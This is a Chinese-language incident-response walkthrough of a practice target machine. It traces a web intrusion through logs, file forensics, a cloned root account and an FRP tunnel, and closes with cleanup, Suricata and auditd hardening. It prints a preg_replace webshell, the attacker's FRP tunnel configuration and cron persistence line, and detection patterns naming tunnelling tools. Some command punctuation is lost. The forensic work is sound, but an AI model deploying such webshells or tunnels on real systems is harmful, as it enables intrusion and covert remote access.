實(shí)戰(zhàn):從入侵痕跡分析到應(yīng)急響應(yīng)全流程)
1. 靶機(jī)環(huán)境與挑戰(zhàn)概述Web2靶機(jī)是近年來安全圈內(nèi)廣受好評(píng)的應(yīng)急響應(yīng)實(shí)戰(zhàn)平臺(tái)模擬了企業(yè)級(jí)Linux服務(wù)器遭遇入侵后的典型場景。這個(gè)靶場最吸引人的地方在于它完整復(fù)現(xiàn)了攻擊者從外網(wǎng)滲透到內(nèi)網(wǎng)橫向移動(dòng)的全鏈條行為包含了Web漏洞利用、權(quán)限維持、內(nèi)網(wǎng)穿透等企業(yè)安全事件中的高頻攻擊手法。我花了三天時(shí)間完整走通這個(gè)靶機(jī)發(fā)現(xiàn)其設(shè)計(jì)精妙之處在于攻擊者不僅留下了webshell、隱藏賬戶等常見痕跡還通過FRP實(shí)現(xiàn)了內(nèi)網(wǎng)穿透。整個(gè)溯源過程需要綜合運(yùn)用日志分析、文件取證、網(wǎng)絡(luò)流量分析等多種技能非常貼近真實(shí)應(yīng)急響應(yīng)場景。2. 初始入侵痕跡分析2.1 Web日志關(guān)鍵線索提取首先檢查/var/log/apache2/access.log通過以下命令快速定位異常請求cat access.log | grep -E union|select|eval|base64|system|exec --colorauto發(fā)現(xiàn)攻擊者分三個(gè)階段實(shí)施入侵通過/admin.php?id1嘗試SQL注入使用/upload.php上傳包含惡意代碼的圖片馬訪問/images/shell.php?cmdwhoami執(zhí)行命令關(guān)鍵時(shí)間點(diǎn)取證技巧# 提取指定時(shí)間段的日志攻擊發(fā)生在14:00-15:00 sed -n /14:00:00/,/15:00:00/p access.log attack_period.log # 統(tǒng)計(jì)高頻訪問IP awk {print $1} attack_period.log | sort | uniq -c | sort -nr2.2 后門文件定位與分析在/var/www/html/images目錄發(fā)現(xiàn)可疑文件.config.php(Webshell)thumb.jpg(圖片馬實(shí)際是PHP腳本)使用file命令驗(yàn)證文件真實(shí)類型file thumb.jpg # 顯示PHP script textWebshell特征分析?php preg_replace(/[page]/e,$_POST[cmd],saft); ?這是一種典型的preg_replace命令執(zhí)行后門通過POST傳遞cmd參數(shù)執(zhí)行系統(tǒng)命令。3. 系統(tǒng)級(jí)入侵痕跡排查3.1 用戶賬戶異常檢測常規(guī)檢查可能漏掉克隆用戶需要對(duì)比以下文件# 檢查/etc/passwd與/etc/shadow的UID對(duì)應(yīng)關(guān)系 awk -F: {print $1,$3} /etc/passwd /tmp/passwd_uids awk -F: {print $1,$3} /etc/shadow /tmp/shadow_uids diff /tmp/passwd_uids /tmp/shadow_uids # 查找UID為0的異常賬戶 awk -F: ($3 0) {print $1} /etc/passwd發(fā)現(xiàn)攻擊者創(chuàng)建了克隆root用戶合法root用戶root:x:0:0:root:/root:/bin/bash克隆用戶toor:x:0:0:root:/root:/bin/zsh3.2 計(jì)劃任務(wù)與啟動(dòng)項(xiàng)檢查在/etc/crontab中發(fā)現(xiàn)可疑任務(wù)*/5 * * * * root /usr/bin/frpc -c /etc/frp/frpc.ini /dev/null 21通過systemctl list-unit-files發(fā)現(xiàn)偽裝服務(wù)systemctl list-unit-files | grep -i frp\|proxy\|tunnel4. 內(nèi)網(wǎng)穿透行為溯源4.1 FRP配置文件分析在/etc/frp/frpc.ini中發(fā)現(xiàn)關(guān)鍵配置[common] server_addr 45.32.112.18 server_port 7000 token FrpTunn3l2023 [ssh] type tcp local_ip 127.0.0.1 local_port 22 remote_port 6000網(wǎng)絡(luò)連接驗(yàn)證netstat -antp | grep frpc ss -antp | grep 60004.2 網(wǎng)絡(luò)流量取證使用tcpdump抓取FRP通信流量tcpdump -i eth0 host 45.32.112.18 -w frp_traffic.pcap關(guān)鍵發(fā)現(xiàn)每5分鐘建立一次TCP長連接數(shù)據(jù)傳輸使用TLS加密存在SSH隧道復(fù)用特征5. 完整攻擊鏈重建根據(jù)取證結(jié)果還原攻擊流程Web應(yīng)用漏洞利用階段SQL注入探測 → 文件上傳漏洞 → Webshell植入攻擊IP192.168.1.100可能為跳板機(jī)權(quán)限提升與持久化通過SUDO配置漏洞獲取root創(chuàng)建克隆用戶toor部署FRP客戶端內(nèi)網(wǎng)橫向移動(dòng)建立SSH反向隧道繞過防火墻限制維持長期控制通道6. 應(yīng)急響應(yīng)處置建議6.1 立即處置措施# 清除惡意進(jìn)程 pkill frpc rm -f /usr/bin/frpc # 刪除異常用戶 userdel -r toor # 清理Webshell rm -f /var/www/html/images/{.config.php,thumb.jpg}6.2 系統(tǒng)加固方案文件完整性監(jiān)控# 監(jiān)控關(guān)鍵目錄 apt install aide aideinit網(wǎng)絡(luò)連接告警規(guī)則示例Suricataalert tcp any any - any any (msg:FRP Protocol Detected; content:|00 01 00|; depth:3; content:frpc; nocase; sid:1000001; rev:1;)用戶行為審計(jì)增強(qiáng)# 啟用auditd監(jiān)控特權(quán)操作 auditctl -a always,exit -F archb64 -S execve -k root_cmd7. 防御體系優(yōu)化思考這個(gè)案例暴露出三個(gè)典型問題應(yīng)用層防護(hù)缺失未部署WAF導(dǎo)致簡單SQL注入成功權(quán)限控制不嚴(yán)格SUDO配置不當(dāng)導(dǎo)致提權(quán)網(wǎng)絡(luò)監(jiān)控盲區(qū)異常外連行為未被發(fā)現(xiàn)建議的防御矩陣graph TD A[邊界防護(hù)] -- B[WAFIPS] B -- C[主機(jī)HIDS] C -- D[網(wǎng)絡(luò)流量分析] D -- E[日志集中審計(jì)]實(shí)際工作中推薦采用ATTCK框架進(jìn)行防御對(duì)標(biāo)重點(diǎn)關(guān)注T1078有效賬戶T1098賬戶操縱T1572協(xié)議隧道最后分享一個(gè)實(shí)用命令合集用于快速排查類似事件# 用戶排查 getent passwd | awk -F: $3 0 lastlog | grep -v Never # 進(jìn)程排查 ps auxf | grep -E frp|ncat|socat|reGeorg lsof -i -P -n | grep ESTABLISHED # 文件排查 find / -name *.php -mtime -7 find / -type f -name .* -perm 0755